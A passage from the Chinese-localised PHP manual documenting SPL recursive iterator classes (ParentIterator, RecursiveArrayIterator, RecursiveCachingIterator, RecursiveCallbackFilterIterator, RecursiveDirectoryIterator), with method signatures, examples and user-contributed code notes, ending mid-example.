public rewind(): void
/* 继承的方法 */
public RecursiveFilterIterator::getChildren(): ?RecursiveFilterIterator
public RecursiveFilterIterator::hasChildren(): bool
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Table of Contents

  • ParentIterator::accept — Determines acceptability
  • ParentIterator::__construct — Constructs a ParentIterator
  • ParentIterator::getChildren — Return the inner iterator's children contained in a ParentIterator
  • ParentIterator::hasChildren — Check whether the inner iterator's current element has children
  • ParentIterator::next — Move the iterator forward
  • ParentIterator::rewind — Rewind the iterator

User Contributed Notes

dn dot permyakov at gmail dot com 12-May-2019 11:24
Easy example for understanding:
<?php

$iterator = new ParentIterator(
    new RecursiveArrayIterator(
        array(array(1, 2, 3), 'A', 'B', 'C')
    )
);

foreach ($iterator as $recursive) {
    foreach ($recursive as $value) {
        echo $value . PHP_EOL;
    }
}
?>

1
2
3
Anonymous 19-Dec-2011 07:55
ParentIterator is just a RecursiveFilterIterator whos accept() method calls the RecursiveFilterIterator->hasChildren() method to filter itself.

Basically, it filters out leaf nodes. For example

This would yield all files and directories
<?php
$rdi = new RecursiveDirectoryIterator(__DIR__);
$iter = new RecursiveIteratorIterator($rdi, RecursiveIteratorIterator::CHILD_FIRST);
?>

wrapping that in a ParentIterator would filter it down to just directories
<?php
$rdi = new RecursiveDirectoryIterator(__DIR__);
$iter = new RecursiveIteratorIterator($rdi, RecursiveIteratorIterator::CHILD_FIRST);
$dirsOnly = new ParentIterator($iter);
?>


Determines acceptability

  • ? ParentIterator
  • ParentIterator::__construct ?
  • PHP Manual
  • ParentIterator
  • Determines acceptability

ParentIterator::accept

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::accept — Determines acceptability

说明

public ParentIterator::accept(): bool

Determines if the current element has children.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true if the current element is acceptable, otherwise false.

参见

  • ParentIterator::hasChildren() - Check whether the inner iterator's current element has children
  • FilterIterator::accept() - Check whether the current element of the iterator is acceptable

User Contributed Notes

There are no user contributed notes for this page.


Constructs a ParentIterator

  • ? ParentIterator::accept
  • ParentIterator::getChildren ?
  • PHP Manual
  • ParentIterator
  • Constructs a ParentIterator

ParentIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::__construct — Constructs a ParentIterator

说明

public ParentIterator::__construct(RecursiveIterator $iterator)

Constructs a ParentIterator on an iterator.

Warning

本函数还未编写文档，仅有参数列表。

参数

iterator

The iterator being constructed upon.

User Contributed Notes

There are no user contributed notes for this page.


Return the inner iterator's children contained in a ParentIterator

  • ? ParentIterator::__construct
  • ParentIterator::hasChildren ?
  • PHP Manual
  • ParentIterator
  • Return the inner iterator's children contained in a ParentIterator

ParentIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::getChildren — Return the inner iterator's children contained in a ParentIterator

说明

public ParentIterator::getChildren(): ParentIterator

Get the inner iterator's children contained in a ParentIterator.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

An object.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the inner iterator's current element has children

  • ? ParentIterator::getChildren
  • ParentIterator::next ?
  • PHP Manual
  • ParentIterator
  • Check whether the inner iterator's current element has children

ParentIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::hasChildren — Check whether the inner iterator's current element has children

说明

public ParentIterator::hasChildren(): bool

Check whether the inner iterator's current element has children.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Move the iterator forward

  • ? ParentIterator::hasChildren
  • ParentIterator::rewind ?
  • PHP Manual
  • ParentIterator
  • Move the iterator forward

ParentIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::next — Move the iterator forward

说明

public ParentIterator::next(): void

Moves the iterator forward.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator

  • ? ParentIterator::next
  • RecursiveArrayIterator ?
  • PHP Manual
  • ParentIterator
  • Rewind the iterator

ParentIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ParentIterator::rewind — Rewind the iterator

说明

public ParentIterator::rewind(): void

Rewinds the iterator.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveArrayIterator class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

This iterator allows for unsetting and modifying values and keys while iterating over arrays and objects, in the same way as the ArrayIterator. Additionally, it is possible to iterate over the current iterator entry.

类摘要

class RecursiveArrayIterator extends ArrayIterator implements RecursiveIterator {
/* 继承的常量 */
public const int ArrayIterator::STD_PROP_LIST;
public const int ArrayIterator::ARRAY_AS_PROPS;
/* 常量 */
public const int CHILD_ARRAYS_ONLY;
/* 方法 */
public getChildren(): ?RecursiveArrayIterator
public hasChildren(): bool
/* 继承的方法 */
public ArrayIterator::__construct(array|object $array = [], int $flags = 0)
public ArrayIterator::append(mixed $value): void
public ArrayIterator::asort(int $flags = SORT_REGULAR): true
public ArrayIterator::count(): int
public ArrayIterator::current(): mixed
public ArrayIterator::getArrayCopy(): array
public ArrayIterator::getFlags(): int
public ArrayIterator::key(): string|int|null
public ArrayIterator::ksort(int $flags = SORT_REGULAR): true
public ArrayIterator::natcasesort(): true
public ArrayIterator::natsort(): true
public ArrayIterator::next(): void
public ArrayIterator::offsetExists(mixed $key): bool
public ArrayIterator::offsetGet(mixed $key): mixed
public ArrayIterator::offsetSet(mixed $key, mixed $value): void
public ArrayIterator::offsetUnset(mixed $key): void
public ArrayIterator::rewind(): void
public ArrayIterator::seek(int $offset): void
public ArrayIterator::serialize(): string
public ArrayIterator::setFlags(int $flags): void
public ArrayIterator::uasort(callable $callback): true
public ArrayIterator::uksort(callable $callback): true
public ArrayIterator::unserialize(string $data): void
public ArrayIterator::valid(): bool
}

预定义常量

RecursiveArrayIterator Flags

RecursiveArrayIterator::CHILD_ARRAYS_ONLY

Treat only arrays (not objects) as having children for recursive iteration.

Table of Contents

  • RecursiveArrayIterator::getChildren — Returns an iterator for the current entry if it is an array or an object
  • RecursiveArrayIterator::hasChildren — Returns whether current entry is an array or an object

User Contributed Notes

Edgar 12-May-2022 11:47
<?php
$array = [
'A','B',
'C'=>[
    'D','E',
    'F'=>['G','H']
 ],
'I','J'
];

$iterator = new RecursiveArrayIterator($array);

foreach($iterator as $key=>$value)
{
    echo $key,':', $value,'<br>';
}

/**
Output
0:A
1:B
C:Array
2:I
3:J
*/

//-------------
//Recursive...

$array = [
'A','B',
'C'=>[
    'D','E',
    'F'=>['G','H']
 ],
'I','J'
];

$it = new RecursiveArrayIterator($array);
$iterator = new RecursiveIteratorIterator($it);

foreach($iterator as $key=>$value)
{
    echo $key,':', $value,'<br>';
}

/**
Output
0:A
1:B
0:D
1:E
0:G
1:H
2:I
3:J
*/

?>
lemoinem dot remove at me dot mlemoine dot name 12-Dec-2013 10:29
The RecursiveArrayOnlyIterator behaviour c dot 1 at smithies dot org presented can also be achieved using the (undocumented) flag RecursiveArrayIterator::CHILD_ARRAYS_ONLY (https://github.com/php/php-src/blob/master/ext/spl/spl_array.c#L1970 and https://github.com/php/php-src/blob/master/ext/spl/spl_array.c#L1620)
c dot 1 at smithies dot org 15-Nov-2011 10:29
If you are iterating over a multi-dimensional array of objects, you may be tempted to use a RecursiveArrayIterator within a RecursiveIteratorIterator. You are likely to get baffling results if you do. That is because RecursiveArrayIterator treats all objects as having children, and tries to recurse into them. But if you are interested in having your RecursiveIteratorIterator return the objects in your multi-dimensional array, then you don't want the default setting LEAVES_ONLY, because no object can be a leaf (= has no children).

The solution is to extend the RecursiveArrayIterator class and override the hasChildren method appropriately. Something like the following might be suitable:

<?php
class RecursiveArrayOnlyIterator extends RecursiveArrayIterator {
  public function hasChildren() {
    return is_array($this->current());
  }
}
?>
Of course, this simple example will not recurse into ArrayObjects either!
mccarthy dot richard at gmail dot com 22-Feb-2011 07:23
Using the RecursiveArrayIterator to traverse an unknown amount of sub arrays within the outer array. Note: This functionality is already provided by using the RecursiveIteratorIterator but is useful in understanding how to use the iterator when using for the first time as all the terminology does get rather confusing at first sight of SPL!

<?php
$myArray = array(
    0 => 'a',
    1 => array('subA','subB',array(0 => 'subsubA', 1 => 'subsubB', 2 => array(0 => 'deepA', 1 => 'deepB'))),
    2 => 'b',
    3 => array('subA','subB','subC'),
    4 => 'c'
);

$iterator = new RecursiveArrayIterator($myArray);
iterator_apply($iterator, 'traverseStructure', array($iterator));

function traverseStructure($iterator) {

    while ( $iterator -> valid() ) {

        if ( $iterator -> hasChildren() ) {

            traverseStructure($iterator -> getChildren());

        }
        else {
            echo $iterator -> key() . ' : ' . $iterator -> current() .PHP_EOL;
        }

        $iterator -> next();
    }
}
?>

The output from which is:
0 : a
0 : subA
1 : subB
0 : subsubA
1 : subsubB
0 : deepA
1 : deepB
2 : b
0 : subA
1 : subB
2 : subC
4 : c


Returns an iterator for the current entry if it is an array or an object

  • ? RecursiveArrayIterator
  • RecursiveArrayIterator::hasChildren ?
  • PHP Manual
  • RecursiveArrayIterator
  • Returns an iterator for the current entry if it is an array or an object

RecursiveArrayIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveArrayIterator::getChildren — Returns an iterator for the current entry if it is an array or an object

说明

public RecursiveArrayIterator::getChildren(): ?RecursiveArrayIterator

Returns an iterator for the current iterator entry.

参数

此函数没有参数。

返回值

An iterator for the current entry, if it is an array or object; or null on failure.

错误／异常

An InvalidArgumentException will be thrown if the current entry does not contain an array or an object.

示例

Example #1 RecursiveArrayIterator::getChildren() example

<?php
$fruits = array("a" => "lemon", "b" => "orange", array("a" => "apple", "p" => "pear"));

$iterator = new RecursiveArrayIterator($fruits);

while ($iterator->valid()) {

if ($iterator->hasChildren()) {
// print all children
foreach ($iterator->getChildren() as $key => $value) {
echo $key . ' : ' . $value . "\n";
}
} else {
echo "No children.\n";
}

$iterator->next();
}
?>

以上示例会输出：

No children.
No children.
a : apple
p : pear

参见

  • RecursiveArrayIterator::hasChildren() - Returns whether current entry is an array or an object

User Contributed Notes

814ckf0x 05-Mar-2014 08:44
RecursiveArrayIterator::getChildrens returns a copy of the children, not a reference:
<?php
$stack = array ("some" => "value",
                array ("subsome" => "subvalue", array ("subsubsome" => "subsubvalue")),
                "some1" => "value1");

$object = new RecursiveArrayIterator ($stack);
$object->next ();
$second_object = &$object->getChildren ();

$second_object->next ();

$third_object = &$second_object->getChildren ();

$third_object->offsetSet ("subsubsome", "subsubdiferent");

var_dump ($object);
var_dump ($second_object);
var_dump ($third_object);
?>

returns:

object(RecursiveArrayIterator)#1 (1) {
  ["storage":"ArrayIterator":private]=>
  array(3) {
    ["some"]=>
    string(5) "value"
    [0]=>
    array(2) {
      ["subsome"]=>
      string(8) "subvalue"
      [0]=>
      array(1) {
        ["subsubsome"]=>
        string(11) "subsubvalue" <--- expected to be changed
      }
    }
    ["some1"]=>
    string(6) "value1"
  }
}
object(RecursiveArrayIterator)#2 (1) {
  ["storage":"ArrayIterator":private]=>
  array(2) {
    ["subsome"]=>
    string(8) "subvalue"
    [0]=>
    array(1) {
      ["subsubsome"]=>
      string(11) "subsubvalue" <--- expected to be changed
    }
  }
}
object(RecursiveArrayIterator)#3 (1) {
  ["storage":"ArrayIterator":private]=>
  array(1) {
    ["subsubsome"]=>
    string(14) "subsubdiferent"
  }
}


Returns whether current entry is an array or an object

  • ? RecursiveArrayIterator::getChildren
  • RecursiveCachingIterator ?
  • PHP Manual
  • RecursiveArrayIterator
  • Returns whether current entry is an array or an object

RecursiveArrayIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveArrayIterator::hasChildren — Returns whether current entry is an array or an object

说明

public RecursiveArrayIterator::hasChildren(): bool

Returns whether current entry is an array or an object for which an iterator can be obtained via RecursiveArrayIterator::getChildren().

参数

此函数没有参数。

返回值

Returns true if the current entry is an array or an object, otherwise false is returned.

示例

Example #1 RecursiveArrayIterator::hasChildren() example

<?php
$fruits = array("a" => "lemon", "b" => "orange", array("a" => "apple", "p" => "pear"));

$iterator = new RecursiveArrayIterator($fruits);

while ($iterator->valid()) {

// Check if there are children
if ($iterator->hasChildren()) {
// print all children
foreach ($iterator->getChildren() as $key => $value) {
echo $key . ' : ' . $value . "\n";
}
} else {
echo "No children.\n";
}

$iterator->next();
}
?>

以上示例会输出：

No children.
No children.
a : apple
p : pear

参见

  • RecursiveArrayIterator::getChildren() - Returns an iterator for the current entry if it is an array or an object

User Contributed Notes

Dominik 23-Jan-2015 11:20
hasChildren() works as documented here, but not as its name suggests.

The method does not return whether the current entry actually *has* children. It only returns whether the element's type is one that is able to have children.

This is a bit counterintuitive if you are processing empty arrays.

Example:

<?php
$data = array(
    "element one" => array(true),
    "element two" => array(),
    "element three" => array(true),
);

$i = new RecursiveIteratorIterator(new RecursiveArrayIterator($data),RecursiveIteratorIterator::SELF_FIRST);

foreach($i as $key => $value)
{
    $type = gettype($value);
    $depth = $i->getDepth();

    if($i->hasChildren()) {
        echo "$depth: $key ($type) has children\n";
    } else {
        echo "$depth: $key ($type) has no children\n";
    }
}
?>

Result:

0: element one (array) has children
1: 0 (boolean) has no children
0: element two (array) has children
0: element three (array) has children
1: 0 (boolean) has no children


The RecursiveCachingIterator class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

...

类摘要

class RecursiveCachingIterator extends CachingIterator implements RecursiveIterator {
/* 继承的常量 */
public const int CachingIterator::CALL_TOSTRING;
public const int CachingIterator::CATCH_GET_CHILD;
public const int CachingIterator::TOSTRING_USE_KEY;
public const int CachingIterator::TOSTRING_USE_CURRENT;
public const int CachingIterator::TOSTRING_USE_INNER;
public const int CachingIterator::FULL_CACHE;
/* 方法 */
public __construct(Iterator $iterator, int $flags = RecursiveCachingIterator::CALL_TOSTRING)
public getChildren(): ?RecursiveCachingIterator
public hasChildren(): bool
/* 继承的方法 */
public CachingIterator::count(): int
public CachingIterator::current(): mixed
public CachingIterator::getCache(): array
public CachingIterator::getFlags(): int
public CachingIterator::hasNext(): bool
public CachingIterator::key(): scalar
public CachingIterator::next(): void
public CachingIterator::offsetExists(string $key): bool
public CachingIterator::offsetGet(string $key): mixed
public CachingIterator::offsetSet(string $key, mixed $value): void
public CachingIterator::offsetUnset(string $key): void
public CachingIterator::rewind(): void
public CachingIterator::setFlags(int $flags): void
public CachingIterator::__toString(): string
public CachingIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Table of Contents

  • RecursiveCachingIterator::__construct — Construct
  • RecursiveCachingIterator::getChildren — Return the inner iterator's children as a RecursiveCachingIterator
  • RecursiveCachingIterator::hasChildren — Check whether the current element of the inner iterator has children

User Contributed Notes

There are no user contributed notes for this page.


Construct

  • ? RecursiveCachingIterator
  • RecursiveCachingIterator::getChildren ?
  • PHP Manual
  • RecursiveCachingIterator
  • Construct

RecursiveCachingIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveCachingIterator::__construct — Construct

说明

public RecursiveCachingIterator::__construct(Iterator $iterator, int $flags = RecursiveCachingIterator::CALL_TOSTRING)

Constructs a new RecursiveCachingIterator, which consists of a passed in iterator.

Warning

本函数还未编写文档，仅有参数列表。

参数

iterator

The iterator being used.

flags

The flags. Use CALL_TOSTRING to call RecursiveCachingIterator::__toString() for every element (the default), and/or CATCH_GET_CHILD to catch exceptions when trying to get children.

参见

  • CachingIterator::__construct() - Construct a new CachingIterator object for the iterator

User Contributed Notes

There are no user contributed notes for this page.


Return the inner iterator's children as a RecursiveCachingIterator

  • ? RecursiveCachingIterator::__construct
  • RecursiveCachingIterator::hasChildren ?
  • PHP Manual
  • RecursiveCachingIterator
  • Return the inner iterator's children as a RecursiveCachingIterator

RecursiveCachingIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveCachingIterator::getChildren — Return the inner iterator's children as a RecursiveCachingIterator

说明

public RecursiveCachingIterator::getChildren(): ?RecursiveCachingIterator
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The inner iterator's children, as a RecursiveCachingIterator; or null if there is no children.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the current element of the inner iterator has children

  • ? RecursiveCachingIterator::getChildren
  • RecursiveCallbackFilterIterator ?
  • PHP Manual
  • RecursiveCachingIterator
  • Check whether the current element of the inner iterator has children

RecursiveCachingIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveCachingIterator::hasChildren — Check whether the current element of the inner iterator has children

说明

public RecursiveCachingIterator::hasChildren(): bool
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true if the inner iterator has children, otherwise false

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveCallbackFilterIterator class

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

简介

类摘要

class RecursiveCallbackFilterIterator extends CallbackFilterIterator implements RecursiveIterator {
/* 方法 */
public __construct(RecursiveIterator $iterator, callable $callback)
public getChildren(): RecursiveCallbackFilterIterator
public hasChildren(): bool
/* 继承的方法 */
public CallbackFilterIterator::accept(): bool
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

示例

The callback should accept up to three arguments: the current item, the current key and the iterator, respectively.

Example #1 Available callback arguments

<?php

/**
* Callback for RecursiveCallbackFilterIterator
*
* @param $current Current item's value
* @param $key Current item's key
* @param $iterator Iterator being filtered
* @return boolean TRUE to accept the current item, FALSE otherwise
*/
function my_callback($current, $key, $iterator) {
// Your filtering code here
}

?>

Filtering a recursive iterator generally involves two conditions. The first is that, to allow recursion, the callback function should return true if the current iterator item has children. The second is the normal filter condition, such as a file size or extension check as in the example below.

Example #2 Recursive callback basic example

<?php

$dir = new RecursiveDirectoryIterator(__DIR__);

// Filter large files ( > 100MB)
$files = new RecursiveCallbackFilterIterator($dir, function ($current, $key, $iterator) {
// Allow recursion
if ($iterator->hasChildren()) {
return TRUE;
}
// Check for large file
if ($current->isFile() && $current->getSize() > 104857600) {
return TRUE;
}
return FALSE;
});

foreach (new RecursiveIteratorIterator($files) as $file) {
echo $file->getPathname() . PHP_EOL;
}

?>

Table of Contents

  • RecursiveCallbackFilterIterator::__construct — Create a RecursiveCallbackFilterIterator from a RecursiveIterator
  • RecursiveCallbackFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator::hasChildren — Check whether the inner iterator's current element has children

User Contributed Notes

a dot belloundja at gmail dot com 01-Jan-2013 11:26
Here is a code that may implement similar functionality in PHP 5.2 or 5.3 :

<?php

class RecursiveCallbackFilterIterator extends RecursiveFilterIterator {

    public function __construct ( RecursiveIterator $iterator, $callback ) {

        $this->callback = $callback;

        parent::__construct($iterator);

    }

    public function accept () {

        $callback = $this->callback;

        return $callback(parent::current(), parent::key(), parent::getInnerIterator());

    }

    public function getChildren () {

        return new self($this->getInnerIterator()->getChildren(), $this->callback);

    }

}

?>
Anonymous 11-Dec-2011 01:31
Note that the following filters out both files and directories whos names start with the letter "T". The important thing here is that since the function returns false for a directory entry whos name starts with T, the directory is also not traversed recursively.

<?php
$doesntStartWithLetterT = function ($current) {
    return $current->getFileName()[0] !== 'T';
};

$rdi = new RecursiveDirectoryIterator(__DIR__);
$files = new RecursiveCallbackFilterIterator($rdi, $doesntStartWithLetterT);
foreach (new RecursiveIteratorIterator($files) as $file) {
    echo $file->getPathname() . PHP_EOL;
}
?>


Create a RecursiveCallbackFilterIterator from a RecursiveIterator

  • ? RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator::getChildren ?
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • Create a RecursiveCallbackFilterIterator from a RecursiveIterator

RecursiveCallbackFilterIterator::__construct

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

RecursiveCallbackFilterIterator::__construct — Create a RecursiveCallbackFilterIterator from a RecursiveIterator

说明

public RecursiveCallbackFilterIterator::__construct(RecursiveIterator $iterator, callable $callback)

Creates a filtered iterator from a RecursiveIterator using the callback to determine which items are accepted or rejected.

参数

iterator

The recursive iterator to be filtered.

callback

The callback, which should return true to accept the current item or false otherwise. See Examples.

May be any valid callable value.

参见

  • RecursiveCallbackFilterIterator Examples
  • RecursiveCallbackFilterIterator::getChildren() - Return the inner iterator's children contained in a RecursiveCallbackFilterIterator
  • RecursiveCallbackFilteriterator::hasChildren() - Check whether the inner iterator's current element has children

User Contributed Notes

There are no user contributed notes for this page.


Return the inner iterator's children contained in a RecursiveCallbackFilterIterator

  • ? RecursiveCallbackFilterIterator::__construct
  • RecursiveCallbackFilterIterator::hasChildren ?
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • Return the inner iterator's children contained in a RecursiveCallbackFilterIterator

RecursiveCallbackFilterIterator::getChildren

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

RecursiveCallbackFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveCallbackFilterIterator

说明

public RecursiveCallbackFilterIterator::getChildren(): RecursiveCallbackFilterIterator

Fetches the filtered children of the inner iterator.

RecursiveCallbackFilterIterator::hasChildren() should be used to determine if there are children to be fetched.

参数

此函数没有参数。

返回值

Returns a RecursiveCallbackFilterIterator containing the children.

参见

  • RecursiveCallbackFilterIterator Examples
  • RecursiveCallbackFilterIterator::__construct() - Create a RecursiveCallbackFilterIterator from a RecursiveIterator
  • RecursiveCallbackFilteriterator::hasChildren() - Check whether the inner iterator's current element has children

User Contributed Notes

There are no user contributed notes for this page.


Check whether the inner iterator's current element has children

  • ? RecursiveCallbackFilterIterator::getChildren
  • RecursiveDirectoryIterator ?
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • Check whether the inner iterator's current element has children

RecursiveCallbackFilterIterator::hasChildren

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

RecursiveCallbackFilterIterator::hasChildren — Check whether the inner iterator's current element has children

说明

public RecursiveCallbackFilterIterator::hasChildren(): bool

Returns true if the current element has children, false otherwise.

参数

此函数没有参数。

返回值

Returns true if the current element has children, false otherwise.

示例

Example #1 RecursiveCallbackFilterIterator::hasChildren() basic usage

<?php

$dir = new RecursiveDirectoryIterator(__DIR__);

// Recursively iterate over XML files
$files = new RecursiveCallbackFilterIterator($dir, function ($current, $key, $iterator) {
// Allow recursion into directories
if ($iterator->hasChildren()) {
return TRUE;
}
// Check for XML file
if (!strcasecmp($current->getExtension(), 'xml')) {
return TRUE;
}
return FALSE;
});

?>

参见

  • RecursiveCallbackFilterIterator Examples
  • RecursiveCallbackFilterIterator::__construct() - Create a RecursiveCallbackFilterIterator from a RecursiveIterator
  • RecursiveCallbackFilteriterator::getChildren() - Return the inner iterator's children contained in a RecursiveCallbackFilterIterator

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveDirectoryIterator class

(PHP 5, PHP 7, PHP 8)

简介

The RecursiveDirectoryIterator provides an interface for iterating recursively over filesystem directories.

类摘要

class RecursiveDirectoryIterator extends FilesystemIterator implements RecursiveIterator {
/* 继承的常量 */
public const int FilesystemIterator::CURRENT_MODE_MASK;
public const int FilesystemIterator::CURRENT_AS_PATHNAME;
public const int FilesystemIterator::CURRENT_AS_FILEINFO;
public const int FilesystemIterator::CURRENT_AS_SELF;
public const int FilesystemIterator::KEY_MODE_MASK;
public const int FilesystemIterator::KEY_AS_PATHNAME;
public const int FilesystemIterator::FOLLOW_SYMLINKS;
public const int FilesystemIterator::KEY_AS_FILENAME;
public const int FilesystemIterator::NEW_CURRENT_AND_KEY;
public const int FilesystemIterator::OTHER_MODE_MASK;
public const int FilesystemIterator::SKIP_DOTS;
public const int FilesystemIterator::UNIX_PATHS;
/* 方法 */
public __construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)
public getChildren(): RecursiveDirectoryIterator
public getSubPath(): string
public getSubPathname(): string
public hasChildren(bool $allowLinks = false): bool
public key(): string
public next(): void
public rewind(): void
/* 继承的方法 */
public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator
public FilesystemIterator::getFlags(): int
public FilesystemIterator::key(): string
public FilesystemIterator::next(): void
public FilesystemIterator::rewind(): void
public FilesystemIterator::setFlags(int $flags): void
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Table of Contents

  • RecursiveDirectoryIterator::__construct — Constructs a RecursiveDirectoryIterator
  • RecursiveDirectoryIterator::getChildren — Returns an iterator for the current entry if it is a directory
  • RecursiveDirectoryIterator::getSubPath — Get sub path
  • RecursiveDirectoryIterator::getSubPathname — Get sub path and name
  • RecursiveDirectoryIterator::hasChildren — Returns whether current entry is a directory and not '.' or '..'
  • RecursiveDirectoryIterator::key — Return path and filename of current dir entry
  • RecursiveDirectoryIterator::next — Move to next entry
  • RecursiveDirectoryIterator::rewind — Rewind dir back to the start

User Contributed Notes

divinity76+spam at gmail dot com 23-Apr-2022 08:29
if you just want a plain array, recursively, of all files (not directories), try

<?php

/**
 * returns a plain string array of path to all files in a directory, and subdirectories,
 * but does not return directories themselves. (meaning if a directory is empty, it will not be included at all)
 *
 * @param string $dir
 * @param bool $realpath
 * @throws UnexpectedValueException if $dir is not readable/does not exists
 * @return string[] files
 */
function get_file_list_recursively(string $dir, bool $realpath = false): array
{
    $files = array();
    $files = [];
    foreach ((new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS))) as $file) {
        /** @var SplFileInfo $file */
        if ($realpath) {
            $files[] = $file->getRealPath();
        } else {
            $files[] = $file->getPathname();
        }
    }
    return $files;
}
?>

sample return:
<?php
array (
  0 => '/home/hans/scraping/1650518081RESULTS.txt',
  1 => '/home/hans/scraping/1650518121RESULTS.txt',
  2 => '/home/hans/scraping/1650518679RESULTS.txt',
  3 => '/home/hans/scraping/1650518780RESULTS.txt',
  4 => '/home/hans/scraping/1650522198RESULTS.txt',
  5 => '/home/hans/scraping/1650522927RESULTS.txt',
  6 => '/home/hans/scraping/1650525391RESULTS.txt',
  7 => '/home/hans/scraping/check_cache.php',
  8 => '/home/hans/scraping/foo/bar.txt',
  9 => '/home/hans/scraping/foobar.txt',
  10 => '/home/hans/scraping/GoodProxyDaemon.php',
);
?>

(note to editor, if you can find a better sample return, feel absolutely free to overwrite the one above)
dxvargas 09-Sep-2019 08:54
When using the option FilesystemIterator::FOLLOW_SYMLINKS if there is a symlink to an upper directory there is a loop so we end up with repeated directories.
For example (having a -> ../ ):

/c
/c/..
/c/a
/c/a/c
/c/a/c/..
/c/a/c/a
/c/a/c/a/c
... (up to 40 x /c/a )
/c/a/c/a/..
/c/a/c/a/.
/c/a/c/.
/c/a/..
/c/a/.
/c/.
/..
/.

Apparently there is a limit to avoid having an infinite loop. I don't know documentation for this.

It would be interesting to have an option to allow following symlinks without loops.
flaurora_sonora 15-Aug-2019 11:30
Do not waste your time with this. I have included a function below that accomplishes the same thing more simply. If you want to do regex while iterating you can pass the regex into the recursive function as a parameter.

<?php

function recursive_read($directory, $entries_array = array()) {
    if(is_dir($directory)) {
        $handle = opendir($directory);
        while(FALSE !== ($entry = readdir($handle))) {
            if($entry == '.' || $entry == '..') {
